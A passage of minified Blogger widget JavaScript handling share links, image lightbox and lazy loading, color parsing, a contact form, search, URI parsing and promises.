this.U);rq(this,function(a){a.N()});this.G&&Jn(this.G);this.Z=this.G=this.qa=this.ra=null;pq.n.r[I](this)};function rq(a,b){a.ra&&tm(a.ra,b,void 0)} N.removeChild=function(a,b){if(a){var c=P(a)?a:a.I||(a.I=ee+(a.wb.a++)[gb](36)),d;this.qa&&c?(d=this.qa,d=(c in d?d[c]:void 0)||null):d=null;a=d;if(c&&a){d=this.qa;c in d&&delete d[c];Am(this.ra,a);b&&(sq(a),a.G&&Jn(a.G));c=a;if(null==c)throw n("Unable to set parent component");c.Z=null;pq.n.Ga[I](c,null)}}if(!a)throw n("Child is not in parent component");return a};function tq(a,b,c,d){pq[I](this,d);this.d=c||k;this.o=a;this.g=b;this.i={};this.f=this.a=null;this.b={};this.b.GOOGLEPLUS={ia:$e,ha:this.jb};this.b.EMAIL={ia:Me,ha:this.hb};this.b.FACEBOOK={ia:Ue,ha:this.ib};this.b.TWITTER={ia:Vf,ha:this.kb}}S(tq,pq);N=tq[G]; N.Wa=function(){var a=this.j,b=a.b(Le,{style:Wj,"class":zj});this.a=a.b(Le,{style:Vj,"class":yj});b[v](this.a);var c=a.b(Le,{"class":Aj});c.innerText=Mf;this.a[v](c);this.f=a.b(te,{href:hj,"class":xj});r(this.f,cd);c[v](this.f);for(var d in this.b){var c=a.b(te,{target:pg,display:Mg,"class":wj+d[jc]()}),e=a.b(If),f=this.b[d];e.innerText=f.ia;pa(c,f.ha[I](this));c[v](e);this.a[v](c);this.i[d]=c}this.G=b}; N.oa=function(){tq.n.oa[I](this);for(var a in this.i){var b=this.i[a];b&&qq(this).P(b,jh,this.Ja)}qq(this).P(this.f,jh,this.Ja);a=this.da();qq(this).P(a,jh,this.Ja);this.Ya();qq(this).P(this.d,pk,this.Ya)};N.Ya=function(){var a=this.d.innerHeight,b=this.d.innerWidth,c=this.d.pageYOffset,d=this.d.pageXOffset,e=0;200<a&&(e=(a-200)/2);a=this.a;P(Yk)?bq(a,e+c+fk,Yk):Tm(Yk,Yl(bq,a));c=0;230<b&&(c=(b-230)/2);b=this.a;P(kj)?bq(b,c+d+fk,kj):Tm(kj,Yl(bq,b))};N.kb=function(){return Ui+g(this.o+fe+this.g)}; N.ib=function(){return Ti+g(this.g)+ad+g(this.o)};N.hb=function(){return rj+g(this.o)+Mc+g(this.g)};N.jb=function(){return Yi+g(this.g)};N.Ja=function(){var a=this.da();a&&q(a[A],M)};function uq(){this.d=null;this.a={};this.b=!1}Nl(uq);uq[G].g=function(a,b,c){c.f||c.d||c.h||c.g||(a=this.a[a])&&0<a[F]&&(vq(this),Jo()(a,b),c[La]())};uq[G].h=function(){vq(this);Io(Ml)};function vq(a){a.b||(l[H][v](En(jf,{type:Ok,rel:Kk,href:a.f})),a.b=!0)} var wq=[ia("(http://lighthouse-dev\\.corp\\.google\\.com/image)/([^/]+)/([^/]+/[^/]+/[^/]+)/((s\\d+)(-?[hR]?)/)?([^/]+)"),/(http:\/\/lh[3-6]+\.google\.[.a-z]+)\/([^/]+)\/([^/]+\/[^/]+\/[^/]+)\/((s\d+)(-?[hR]?)\/)?([^/]+)/,/(https:\/\/lh[3-6]+\.google\.com)\/([^/]+)\/([^/]+\/[^/]+\/[^/]+)\/((s\d+)(-?[hR]?)\/)?([^/]+)/,/(http:\/\/lh[3-6]+\.ggpht\.com)\/([^/]+)\/([^/]+\/[^/]+\/[^/]+)\/((s\d+)(-?[hR]?)\/)?([^/]+)/,/(https?:\/\/lh[3-6]+\.googleusercontent\.com)\/([^/]+)\/([^/]+\/[^/]+\/[^/]+)\/((s\d+)(-?[hR]?)\/)?([^/]+)/, /(http:\/\/[1-4]+\.bp\.blogspot\.[.a-z]+)\/([^/]+)\/([^/]+\/[^/]+\/[^/]+)\/((s\d+)(-?[hR]?)\/)?([^/]+)/,/(http:\/\/bp[0-3]+\.blogger\.[.a-z]+)\/([^/]+)\/([^/]+\/[^/]+\/[^/]+)\/((s\d+)(-?[hR]?)\/)?([^/]+)/];function xq(a){for(var b=0;b<wq[F];b++){var c=a[Pa](wq[b]);if(c)return c}return null};function yq(){this.b={};this.a=0;this.g=[];this.d=[];var a=this;this.h=function(){zq(a)}}function Aq(a){for(var b=a.b,c=An(aj,Sh,void 0),d=0;d<c[F];d++)if(c[d][A][vb]==M&&q(c[d][A],L),5>d){var e=c[d];e[Oa]!=L&&(e.src=e[Oa])}else e=c[d].id,e==L&&(e=Dg+d),b[e]={Pa:c[d],key:e},a.a++;0!=a.a&&(a.j=lo(k,pk,a.h),a.i=lo(k,jk,a.h),Bq(a))}function zq(a){a.f&&k[Da](a.f);a.f=k[jb](function(){a.f=null;Bq(a)},100)} function Bq(a){if(!(0>a.a))if(0==a.a)to(a.j),to(a.i),a.a=-1;else{var b=!1,c;for(c in a.b){var d;t:{d=a;var e=a.b[c],f=k[Yb],f=f[dc]==Ge?f[eb]:f[H],f=(new Sm(f.clientWidth,f.clientHeight))[wb],h;h=e.Pa;T(h);if(1==h[Eb]){var s=void 0;if(h[Ba])s=eq(h),s=new Rm(s[Lb],s.top);else{var s=Qn(wn(h)),t;var x=h,E=void 0,J=yn(x),Wa=dq(x,Uj);qm(x,yf);var Y=fn&&J[Ra]&&!x[Ba]&&Wa==vg&&(E=J[Ra](x))&&(0>E.screenX||0>E.screenY);t=new Rm(0,0);var Xa,E=void 0,E=J?yn(J):l;Xa=void 0;(Xa=!V)||(Xa=void 0,(Xa=V&&9<=tn)|| (Xa=wn(E).a[dc]==Ge));Xa=Xa?E[eb]:E[H];if(x!=Xa)if(x[Ba])E=eq(x),x=Qn(wn(J)),t.x=E[Lb]+x.x,t.y=E.top+x.y;else if(J[Ra]&&!Y)E=J[Ra](x),x=J[Ra](Xa),t.x=E.screenX-x.screenX,t.y=E.screenY-x.screenY;else{Y=x;do{t.x+=Y.offsetLeft;t.y+=Y.offsetTop;Y!=x&&(t.x+=Y.clientLeft||0,t.y+=Y.clientTop||0);if(gn&&dq(Y,Uj)==si){t.x+=J[H][sb];t.y+=J[H][Tb];break}Y=Y.offsetParent}while(Y&&Y!=x);if(en||gn&&Wa==vg)t.y-=J[H].offsetTop;for(Y=x;(Y=fq(Y))&&Y!=J[H]&&Y!=Xa;)t.x-=Y[sb],en&&Y.tagName==Rf||(t.y-=Y[Tb])}s=new Rm(t.x- s.x,t.y-s.y)}fn&&!rn(12)?(t=void 0,V?t=vd:gn?t=xd:en?t=wd:fn&&(t=ud),x=void 0,t&&(x=dq(h,t)),x||(x=dq(h,$k)),h=x?(h=x[Pa](nq))?new Rm(ga(h[1]),ga(h[2])):new Rm(0,0):new Rm(0,0),h=new Rm(s.x+h.x,s.y+h.y)):h=s}else s=Sl(h.lb),t=h,h[Ma]?t=h[Ma][0]:s&&h.a[Ma]&&(t=h.a[Ma][0]),h=new Rm(t.clientX,t.clientY);h=h.y;if(0<=h&&h<=f)d.g[B](e);else if(0<h&&h<m[Cb](2.25*f))d.d[B](e);else if(0>h&&h>m[Cb](-1.25*f))d.d[B](e);else{d=!1;break t}d=!0}d&&(b=!0)}if(b){b=a.g[Ia](a.d);for(c=0;c<b[F];c++)d=b[c].Pa,d[Oa]!= L&&(d.src=d[Oa]),a.a--,delete a.b[b[c].key];a.g=[];a.d=[]}}};var Cq={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400", darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",darkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc", ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a", lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1", moccasin:"#ffe4b5",navajowhite:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a460",seagreen:"#2e8b57", seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"};function Dq(a){var b={};a=p(a);var c=a[Ja](0)==wc?a:wc+a;if(Eq[zb](c)){a=c;if(!Eq[zb](a))throw n(hd+a+"' is not a valid hex color");4==a[F]&&(a=a[w](Fq,xc));b.Ma=a[jc]();ua(b,Li);return b}t:{var d=a[Pa](Gq);if(d){var c=ea(d[1]),e=ea(d[2]),d=ea(d[3]);if(0<=c&&255>=c&&0<=e&&255>=e&&0<=d&&255>=d){c=[c,e,d];break t}}c=[]}if(c[F]){e=c[0];a=c[1];c=c[2];e=ea(e);a=ea(a);c=ea(c);if(ca(e)||0>e||255<e||ca(a)||0>a||255<a||ca(c)||0>c||255<c)throw n('"('+e+od+a+od+c+'") is not a valid RGB color');e=Hq(e[gb](16)); a=Hq(a[gb](16));c=Hq(c[gb](16));b.Ma=wc+e+a+c;ua(b,lk);return b}if(Cq&&(c=Cq[a[jc]()]))return b.Ma=c,ua(b,Ej),b;throw n(a+" is not a valid color string");}var Fq=/#(.)(.)(.)/,Eq=/^#(?:[0-9a-f]{3}){1,2}$/i,Gq=/^(?:rgb)?\((0|[1-9]\d{0,2}),\s?(0|[1-9]\d{0,2}),\s?(0|[1-9]\d{0,2})\)$/i;function Hq(a){return 1==a[F]?Od+a:a};function Iq(a){Z[I](this,Ee,a)}S(Iq,Z);N=Iq[G];N.Ka=null;N.za=null;N.s=function(){var a=this.c.l();this.Ka=a.totalItems;this.za=a.numItemsToShow;0!=this.za&&this.Ka>this.za&&(Aa(Qp(this.c,vk),this.Za[cb](this)),Aa(Qp(this.c,wk),this.Za[cb](this)));lo(k,nj,this.yb)};N.Za=function(){var a=X(this.c,$g);if(null!=a){for(var a=a[db](lj),b=this.za;b<this.Ka;b++){var c=a[b];q(c[A],c[A][vb]==M?Mg:M)}a=Qp(this.c,vk);q(a[A],a[A][vb]==M?cj:M);a=Qp(this.c,wk);q(a[A],a[A][vb]==M?cj:M)}}; N.yb=function(){for(var a=0,b=l.images[F];a<b;a++){var c=l.images[a],d=null;if(d=c[bc](Nh))lo(c,gi,function(){xa(this[A],Mi)}),c.src=d}};R("_BlogListView",Iq);var Jq=/^[+a-zA-Z0-9_.!#$%&'*\/=?^`{|}~-]+@([a-zA-Z0-9-]+\.)+[a-zA-Z0-9]{2,6}$/;function Kq(a){Z[I](this,Ie,a);this.a=a.k;this.d=this.a[y]}S(Kq,Z);R("_ContactFormView",Kq);Kq[G].s=function(){var a=W(X(this.c,Eh));if(a){var b=this;Aa(a,function(){Lq(b)&&Mq(b)})}}; function Lq(a){u(W(X(a.c,Bh)),Bh);r(W(X(a.c,Bh)),L);u(W(X(a.c,Fh)),Fh);r(W(X(a.c,Fh)),L);var b=l[Ua](aj);b.src=Jd;u(b,yh);Aa(b,function(){u(W(X(a.c,Bh)),Bh);r(W(X(a.c,Bh)),L)});var c=cm(W(X(a.c,zh))[Hb]);if(!Jq[zb](c))return u(W(X(a.c,Bh)),Ch),r(W(X(a.c,Bh)),a.d.contactFormInvalidEmailMsg),W(X(a.c,Bh))[v](b),!1;c=W(X(a.c,Ah))[Hb];return null==c||cm(c)==L?(u(W(X(a.c,Bh)),Ch),r(W(X(a.c,Bh)),a.d.contactFormEmptyMessageMsg),W(X(a.c,Bh))[v](b),!1):!0} function Mq(a){u(W(X(a.c,Eh)),xh);W(X(a.c,Eh)).disabled=!0;u(W(X(a.c,Fh)),Gh);r(W(X(a.c,Fh)),a.d.contactFormMessageSendingMsg);var b=g(cm(W(X(a.c,Dh))[Hb])),c=g(cm(W(X(a.c,zh))[Hb])),d=g(cm(W(X(a.c,Ah))[Hb])),b=[Dj+b,ei+c,uj+d,Tg+g(a.d.blogId)],c=a.d.submitUrl;if(k.XDomainRequest&&V&&!rn(Rd)){var e=new XDomainRequest;ja(e,function(){var b=eval(id+e[Ha]+ld),b=eval(b.details.emailSentStatus);Nq(a,b)});e[yb](Xj,c,!0);e.send(b[ic](Fc))}else mp(c,a.xa[cb](a),wf,b[ic](Fc))} Kq[G].xa=function(a){a=a[ac];var b=eval(id+wp(a)+ld),b=eval(b.details.emailSentStatus);Nq(this,vp(a)&&b)};function Nq(a,b){u(W(X(a.c,Fh)),Gh);b?(W(X(a.c,Dh)).value=L,W(X(a.c,zh)).value=L,W(X(a.c,Ah)).value=L,r(W(X(a.c,Fh)),a.d.contactFormMessageSentMsg)):r(W(X(a.c,Fh)),a.d.contactFormMessageNotSentMsg);setTimeout(function(){u(W(X(a.c,Fh)),Fh);r(W(X(a.c,Fh)),L);u(W(X(a.c,Eh)),wh);W(X(a.c,Eh)).removeAttribute(Vh)},3E3)};function Oq(a){Z[I](this,Ke,a)}S(Oq,Z);Oq[G].s=function(){var a=new Wp;google[Fb](rk,Pd,{callback:Q(this.a,this),language:a.l(Og)});a=l[C](cl);if(!a){a=l[Ua](Le);a.id=cl;var b=l[Ua](te);va(b,al);a[v](b);b=l[Ua](Le);b.id=dl;a[v](b);b=l[Ua](Le);b.id=bl;u(b,Ji);r(b,Sc);a[v](b);(b=l[C](sj))||(b=l[db](bh)[0]);b.insertBefore(a,b[Ya])}}; Oq[G].a=function(){var a=new GSearchControl,b=this.c.l();if(null!=X(this.c,Ai)){if(b.includeBlog){var c=new GblogSearch;c[hb](b.thisBlogMsg);c.setSiteRestriction(b.blogUrl);a[xb](c)}b.includePostLinks&&(c=new GwebSearch,c[hb](b.linkedFromHereMsg),c.setSiteRestriction({crefUrl:b.blogUrl+Kh}),a[xb](c));for(var c=b.linkLists,d=0;d<c[F];d++){var e=new GwebSearch;e.setSiteRestriction({crefUrl:b.blogUrl+Kh},c[d].id[jc]());e[hb](c[d][Ub]);a[xb](e)}b.includeWeb&&(c=new GwebSearch,c[hb](b.theWebMsg),a[xb](c)); b=new GSearchForm(!1,Qp(this.c,Ai));c=new GdrawOptions;c.setDrawMode(GSearchControl.DRAW_MODE_TABBED);c.setInput(b[Ab]);a.setNoResultsString(GSearchControl.NO_RESULTS_DEFAULT_STRING);a.draw(l[C](dl),c);b[Ab].onkeyup=b[Ab].onpaste=null;b.setOnSubmitCallback(null,Q(Pq,null,b,a));Aa(l[C](bl),Q(Qq,null,a));Rq(!1)}};function Pq(a,b){var c=a[Ab][Hb];if(!c)return Qq(b),!1;b.execute(c);Rq(!0);var c=k[z][tb],d=c[Jb](wc);0<=d&&(c=c[fc](0,d));pa(k[z],c+Bc);return!0} function Qq(a){a.clearAllResults();Rq(!1)}function Rq(a){q(l[C](bl)[A],a?Mg:M)}R("_CustomSearchView",Oq);function Sq(a){Z[I](this,Sq.a,a)}S(Sq,Z);Sq.a="Example";R("_ExampleView",Sq);function Tq(a,b){var c;if(a instanceof Tq)this.T=Pl(b)?b:a.T,Uq(this,a.$),this.va=a.va,this.ea=a.ea,Vq(this,a.ua),Wq(this,a.Ha),Xq(this,a.a.D()),this.ta=a.ta;else if(a&&(c=ap(p(a)))){this.T=!!b;Uq(this,c[1]||L,!0);var d=c[2]||L;this.va=d?ha(d):L;this.ea=(d=c[3]||L)?ha(d):L;Vq(this,c[4]);Wq(this,c[5]||L,!0);Xq(this,c[6]||L,!0);this.ta=(c=c[7]||L)?ha(c):L}else this.T=!!b,this.a=new Yq(null,0,this.T)}N=Tq[G];N.$=L;N.va=L;N.ea=L;N.ua=null;N.Ha=L;N.ta=L;N.T=!1; na(N,function(){var a=[],b=this.$;b&&a[B](Zq(b,$q),ee);if(b=this.ea){a[B](Gd);var c=this.va;c&&a[B](Zq(c,$q),se);a[B](g(p(b)));b=this.ua;null!=b&&a[B](ee,p(b))}if(b=this.Ha)this.ea&&b[Ja](0)!=Fd&&a[B](Fd),a[B](Zq(b,b[Ja](0)==Fd?ar:br));(b=this.a[gb]())&&a[B](oe,b);(b=this.ta)&&a[B](wc,Zq(b,cr));return a[ic](L)});N.D=function(){return new Tq(this)};function Uq(a,b,c){a.$=c?b?ha(b):L:b;a.$&&(a.$=a.$[w](/:$/,L))} function Vq(a,b){if(b){b=ea(b);if(ca(b)||0>b)throw n("Bad port number "+b);a.ua=b}else a.ua=null}function Wq(a,b,c){a.Ha=c?b?ha(b):L:b;return a}function Xq(a,b,c){b instanceof Yq?(a.a=b,dr(a.a,a.T)):(c||(b=Zq(b,er)),a.a=new Yq(b,0,a.T))}function fr(a,b,c){var d=a.a;gr(d);d.a=null;b=hr(d,b);ir(d,b)&&(d.w-=Uo(d.m,b)[F]);Qo(d.m,b,[c]);d.w++;return a}function Zq(a,b){return P(a)?encodeURI(a)[w](b,jr):null}function jr(a){a=a.charCodeAt(0);return Dc+(a>>4&15)[gb](16)+(a&15)[gb](16)} var $q=/[#\/\?@]/g,br=/[\#\?:]/g,ar=/[\#\?]/g,er=/[\#\?@]/g,cr=/#/g;function Yq(a,b,c){this.a=a||null;this.b=!!c}function gr(a){if(!a.m&&(a.m=new Po,a.w=0,a.a))for(var b=a.a[kb](Fc),c=0;c<b[F];c++){var d=b[c][Jb](me),e=null,f=null;0<=d?(e=b[c][fc](0,d),f=b[c][fc](d+1)):e=b[c];e=ha(e[w](/\+/g,oc));e=hr(a,e);d=a;f=f?ha(f[w](/\+/g,oc)):L;gr(d);d.a=null;var e=hr(d,e),h=Uo(d.m,e);h||Qo(d.m,e,h=[]);h[B](f);d.w++}}N=Yq[G];N.m=null;N.w=null;N.p=function(){gr(this);return this.w}; function kr(a,b){gr(a);b=hr(a,b);To(a.m.b,b)&&(a.a=null,a.w-=Uo(a.m,b)[F],So(a.m,b))}ma(N,function(){this.m=this.a=null;this.w=0});N.J=function(){gr(this);return 0==this.w};function ir(a,b){gr(a);b=hr(a,b);return To(a.m.b,b)}N.L=function(){gr(this);for(var a=this.m.C(),b=this.m.L(),c=[],d=0;d<b[F];d++)for(var e=a[d],f=0;f<e[F];f++)c[B](b[d]);return c};N.C=function(a){gr(this);var b=[];if(P(a))ir(this,a)&&(b=Bm(b,Uo(this.m,hr(this,a))));else{a=this.m.C();for(var c=0;c<a[F];c++)b=Bm(b,a[c])}return b}; function lr(a,b,c){kr(a,b);0<c[F]&&(a.a=null,Qo(a.m,hr(a,b),Cm(c)),a.w+=c[F])}na(N,function(){if(this.a)return this.a;if(!this.m)return L;for(var a=[],b=this.m.L(),c=0;c<b[F];c++)for(var d=b[c],e=g(p(d)),d=this.C(d),f=0;f<d[F];f++){var h=e;d[f]!==L&&(h+=me+g(p(d[f])));a[B](h)}return this.a=a[ic](Fc)});N.D=function(){var a=new Yq;a.a=this.a;this.m&&(a.m=this.m.D(),a.w=this.w);return a};function hr(a,b){var c=p(b);a.b&&(c=c[jc]());return c} function dr(a,b){b&&!a.b&&(gr(a),a.a=null,Wo(a.m,function(a,b){var e=b[jc]();b!=e&&(kr(this,b),lr(this,e,a))},a));a.b=b};function mr(a){Z[I](this,Ce,a);this.a=a.k;if(this.a[y]){a=new Wp;this.f=this.a[y].showBacklinks;this.d=a.l(Ng);this.i=a.l(Sg);this.g=a.l(Qg);this.h=a.l(Rg);if(this.a[y].lightboxEnabled){var b=this.a[y].lightboxModuleUrl,c=this.a[y].lightboxCssUrl,d=uq.W(),e=Qm(b);Go(Eo.W(),b,e);d.f=c;b=An(Le,Yj,this.a.a);for(c=0;c<b[F];c++){for(var e=pi+nr++,d=uq.W(),f=An(ef,void 0,b[c]),h=f[F],s=[],t=0;t<h;t++){var x=f[t].src,E=null,J=On(f[t]);if(J){J=J[tb];if(J!=x){var Wa=x,E=xq(J),Wa=xq(Wa);if(E&&Wa&&E[E[F]-1]== Wa[Wa[F]-1])E=x,x=J,x=(J=xq(x))&&ym(J,td)?x[w](/\/s(\d+)-h\//,Ld):x;else continue}s[B]({imageUrl:x,thumbnailUrl:E});lo(f[t],jh,Q(d.g,d,e,s[F]-1))}}0<s[F]&&(d.a[e]=s,d.d||(d.d=lo(k,nj,d.h,!1,d)))}}this.a[y].mobile&&(this.b=new tq(a.l(Pg),this.d))}}S(mr,Z);N=mr[G];N.M=function(a,b){if(a==Gg){this.f=!1;var c=X(this.c,Hg);c&&r(c,b);for(var c=An(yk,Fg,this.a.a),d=0;d<c[F];d++)Aa(c[d],this.rb[cb](this));c=X(this.c,Ig);null!=c&&Aa(c,this.qb[cb](this,c[tb]))}else mr.n.M[I](this,a,b)}; N.rb=function(a){a=a||k[kc];for(a=(a[Gb]||a[ac])[K];a&&!ym(Gm(a),Eg);)a=a[K];a&&(ym(Gm(a),ni)?(Jm(a,ni),Hm(a,nh)):(Hm(a,ni),Jm(a,nh)))}; N.s=function(){var a=l[C](this.a.b);this.f&&Rp(this.c,Gg,{postID:this.a[y].postId},function(a){500<=Nm(a)?(k.console&&console.log&&(a=a[Ha][Pa](/bX-\w*/)[0],console.log(Ne+a)),a=!1):a=!0;return a},Ye);if(this.a[y].mobile){var b=W(qh);or()?b&&q(b[A],Mg):b&&q(b[A],M);b=X(this.c,rh);null!=b&&Aa(b,this.fb);(b=W(vj))&&this.b&&Aa(b,Q(this.gb,this))}this.j=new yq;Aq(this.j);var c=Bn(lh,a);if(c&&this.g==Cj&&k.gapi&&gapi.comments&&gapi.comments[Za]){var d=this.a[y].iframeCommentsId;c.id=d;var e=this.a[y].legacyCommentModerationUrl, f=this.a[y].viewType,h=pr(this.i),s=this.d;k[jb](function(){var a;if(dq(c,Wh)!=M)a=gq(c);else{a=c[A];var b=a[vb],t=a.visibility,Wa=a.position;xa(a,Mi);oa(a,vg);q(a,cj);var Y=gq(c);q(a,b);oa(a,Wa);xa(a,t);a=Y}gapi.comments[Za](d,{href:h,query:s,first_party_property:Ae,legacy_comment_moderation_url:e,view_type:f,width:a[Ea]})},10)}var t=zn(a);t&&this.g==Cj&&k.gapi&&gapi.commentcount&&gapi.commentcount[Za]&&(f=this.a[y].viewType,k[jb](function(){for(var a=0;a<t[F];a++){var b=t[a],c=rg+a+m[qb]()*m.pow(10, 17);b.id=c;var d=b[bc](Ph),e=b[bc](Oh),h=b[bc](Mh),s=iq(b),Ls=mq(b),Ns=qr(b);oa(b[A],vg);ta(b[A],qd);gapi.commentcount[Za](c,{linkify:!0,href:e,query:d,onclick:Yl(function(a){pa(k[z],a+Ac)},e),onready:Yl(function(a){a[A].verticalAlign=Nk;oa(a[A],L);ta(a[A],L)},b),preexisting_count:h,view_type:f,"font-family":s,"font-size":Ls+fk,color:Ns})}},10));this.h&&(a=l[db](bh)[0])&&a[v](En($i,{src:this.h,style:Xh}))};function pr(a){a=a instanceof Tq?a.D():new Tq(a,void 0);kr(a.a,qj);return a[gb]()} function qr(a){a=cq(a,oh)||(a[ec]?a[ec].color:null)||a[A]&&a[A].color;return Dq(a).Ma}N.gb=function(){if(this.b.R){var a=this.b.da();a&&q(a[A],L)}else this.b[Za]()};function or(){var a=k[z][tb][kb](wc);return a[a[F]-1]&&a[a[F]-1]==sh}N.fb=function(){var a=W(qh);a&&q(a[A],a[A][vb]==M?Mg:M);return!1};N.qb=function(a){var b=L;l.selection?b=l.selection.createRange().text:k[Xb]?b=k[Xb]():l[Xb]&&(b=l[Xb]());k[yb](a+pe+g(b)+ed+g(k[z][tb])+Rc+g(l[Ub]),Wg,qk);return!1};var nr=0;R("_BlogView",mr);function rr(a){Sl(O.setImmediate)?O.setImmediate(a):(sr||(sr=tr()),sr(a))}var sr; function tr(){var a=O.MessageChannel;"undefined"===typeof a&&"undefined"!==typeof k&&k.postMessage&&k[Nb]&&(a=function(){var a=l[Ua]($i);q(a[A],M);a.src=L;l[eb][v](a);var b=a.contentWindow,a=b[Yb];a[yb]();a.write(L);a.close();var c=dh+m[qb](),d=b[z][rb]+Gd+b[z].host,a=Q(function(a){if(a.origin==d||a[y]==c)this.port1.onmessage()},this);b[Nb](tj,a,!1);this.port1={};this.port2={postMessage:function(){b.postMessage(c,d)}}});if("undefined"!==typeof a){var b=new a,c={},d=c;b.port1.onmessage=function(){c= c.next;var a=c.eb;c.eb=null;a()};return function(a){d.next={eb:a};d=d.next;b.port2.postMessage(0)}}return"undefined"!==typeof l&&Rj in l[Ua](ok)?function(a){var b=l[Ua](ok);ra(b,function(){ra(b,null);b[K][$b](b);b=null;a();a=null});l[eb][v](b)}:function(a){O[jb](a,0)}};function ur(a){rr(function(){throw a;})}function vr(a,b){wr||(rr(xr),wr=!0);yr[B](new zr(a,b))}var wr=!1,yr=[];function xr(){for(;yr[F];){var a=yr;yr=[];for(var b=0;b<a[F];b++){var c=a[b];try{c.fc[I](c.scope)}catch(d){ur(d)}}}wr=!1}function zr(a,b){this.fc=a;this.scope=b};function Ar(a){a[G].then=a[G][Zb];a[G].$goog_Thenable=!0}function Br(a){if(!a)return!1;try{return!!a.$goog_Thenable}catch(b){return!1}};function Cr(a,b){this.a=0;this.h=void 0;this.b=this.d=null;this.f=this.g=!1;this.i=[];Dr(this,n(Jh));this.j=0;try{var c=this;a[I](b,function(a){Er(c,2,a)},function(a){Er(c,3,a)})}catch(d){Er(this,3,d)}}Cr[G].then=function(a,b,c){Dr(this,n(Rk));return Fr(this,Sl(a)?a:null,Sl(b)?b:null,c)};Ar(Cr);Cr[G].cancel=function(a){0==this.a&&vr(function(){var b=new Gr(a);Hr(this,b)},this)}; function Hr(a,b){if(0==a.a)if(a.d){var c=a.d;if(c.b){for(var d=0,e=-1,f=0,h;h=c.b[f];f++)if(h=h.pa)if(d++,h==a&&(e=f),0<=e&&1<d)break;0<=e&&(0==c.a&&1==d?Hr(c,b):(d=c.b[hc](e,1)[0],Ir(c),d.Ba(b)))}}else Er(a,3,b)}function Jr(a,b){a.b&&a.b[F]||2!=a.a&&3!=a.a||Kr(a);a.b||(a.b=[]);a.b[B](b)} function Fr(a,b,c,d){var e={pa:null,Ra:null,Ba:null};e.pa=new Cr(function(a,h){e.Ra=b?function(c){try{var e=b[I](d,c);a(e)}catch(x){h(x)}}:a;e.Ba=c?function(b){try{var e=c[I](d,b);!Pl(e)&&b instanceof Gr?h(b):a(e)}catch(x){h(x)}}:h});e.pa.d=a;Jr(a,e);return e.pa}Cr[G].o=function(a){T(1==this.a);this.a=0;Er(this,2,a)};Cr[G].u=function(a){T(1==this.a);this.a=0;Er(this,3,a)}; function Er(a,b,c){if(0==a.a){if(a==c)b=3,c=new TypeError(Ef);else{if(Br(c)){a.a=1;c[Zb](a.o,a.u,a);return}if(Tl(c))try{var d=c[Zb];if(Sl(d)){Lr(a,c,d);return}}catch(e){b=3,c=e}}a.h=c;a.a=b;Kr(a);3!=b||c instanceof Gr||Mr(a,c)}}function Lr(a,b,c){function d(b){f||(f=!0,a.u(b))}function e(b){f||(f=!0,a.o(b))}a.a=1;var f=!1;try{c[I](b,e,d)}catch(h){d(h)}}function Kr(a){a.g||(a.g=!0,vr(a.A,a))} Cr[G].A=function(){for(;this.b&&this.b[F];){var a=this.b;this.b=[];for(var b=0;b<a[F];b++){this.j++;var 